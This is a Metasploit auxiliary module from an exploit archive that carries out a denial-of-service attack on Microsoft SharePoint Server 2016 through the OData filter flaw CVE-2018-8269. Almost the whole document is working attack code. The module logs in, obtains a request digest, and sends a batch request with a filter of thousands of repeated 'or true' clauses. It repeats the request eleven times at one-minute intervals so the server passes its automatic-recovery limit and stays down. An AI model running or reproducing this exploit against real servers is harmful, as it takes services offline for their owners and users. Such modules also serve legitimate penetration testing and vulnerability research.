ExploitFixes
Microsoft Office SharePoint Server 2016 - Denial of Service (Metasploit) 2019-01-09 16:05:05

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'sharepoint-ruby'

class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::Tcp
include Msf::Auxiliary::Dos
include Msf::Exploit::Remote::HttpClient


def initialize(info = {})
super(update_info(info,
'Name' => 'DOS Vulnerability in SharePoint 2016 Server',
'Description' => %q{
A vulnerability in Microsoft SharePoint Server could allow a remote attacker to make the server unavailable.
The vulnerability is a result of the dependency SharePoint has in Microsoft.Data.OData library which was
vulnerable to remote DOS (See CVE-2018-8269). The exploit is done by sending a crafted request that contains
an OData filter that triggers the vulnerability in Microsoft.Data.OData library. Sending such request, will
terminate the process that runs the server. By default, SharePoint server is configured to recover a
terminated process, but it will do so only 10 times. If more than 10 malicious requests are sent in 5
minutes interval, the server will not recover and will be down until it is manually restarted.
},
'Author' =>
[
'Gil Mirmovitch', # Vulnerability discover and poc
'Gal Zror' # Metasploit module
],
'Platform' => 'win',
'References' =>
[
[ 'CVE', '2018-8269' ],
[ 'ALEPH', '2018002' ]
],
'Targets' =>
[
[ 'Microsoft Office SharePoint Server 2016', { } ],
],

))

register_options(
[
Opt::RPORT(443),
OptString.new('SSL', [true, 'Negotiate SSL/TLS for outgoing connections', true]),
OptString.new('USERNAME', [true, 'The username to login with']),
OptString.new('PASSWORD', [true, 'The password to login with']),
OptString.new('VHOST', [true, 'HTTP server virtual host'])
], self.class)

end

def fetch_auth_cookie
print_status("Fetching Authentication Cookie")
begin
site = Sharepoint::Site.new vhost, 'server-relative-site-url'
site.session.authenticate datastore['USERNAME'], datastore['PASSWORD']
return site.session.cookie
rescue Sharepoint::Session::AuthenticationFailed
fail_with(Failure::NoAccess, "Authentication failed")
end
print_good("Authentication Succeeded")
end

def extract_digest_value(cookie)
token_api_uri = '/_api/contextinfo'
res = send_request_cgi( {
'method' => 'POST',
'uri' => normalize_uri(token_api_uri),
'cookie' => cookie,
})
if res.nil?
fail_with(Failure::UnexpectedReply, "Empty context response")
end
res.get_xml_document.xpath('//d:FormDigestValue').text
end

def send_dos_request
send_request(6100)
end

def send_innocent_request
send_request(5)
end

def send_request(reps)
vuln_api_uri = "/_api/$batch"
cookie = datastore['COOKIE']

data = Rex::MIME::Message.new
data.add_part(
"GET /_api/web/lists?$filter=true" + "+or+true" * reps + " HTTP/1.1\r\n" +
"accept: application/json;odata.metadata=minimal\r\n", #Data is our payload
'application/http', #Content Type
'binary', #Transfer Encoding
nil #Content Disposition
)
send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(vuln_api_uri),
'ctype' => "multipart/mixed; boundary=#{data.bound}",
'data' => data.to_s,
'cookie' => cookie,
'headers' => {
'x-requestdigest' => extract_digest_value(cookie),
}

})
end

def dos
print_status("Sending DOS malicious requests...")
(0..10).each {|i|
print_status("Countdown #{10 - i}...")
send_dos_request
sleep(60)
}

end

def check
datastore['COOKIE'] = fetch_auth_cookie

print_status("Sending innocent request...")
res = send_innocent_request

if res && res.code == 200
print_good("Server responded 200 to innocent request")
else
print_bad("Server response " + res.code.to_s + " to innocent request")
return Exploit::CheckCode::Unknown
end

print_status("Sending malicious request...")
res = send_dos_request

if res.nil?
Exploit::CheckCode::Vulnerable
else
print_bad("Server response " + res.code.to_s + " to malicious request")
Exploit::CheckCode::Safe
end
end

def run
if check == Exploit::CheckCode::Vulnerable
dos
end
end
end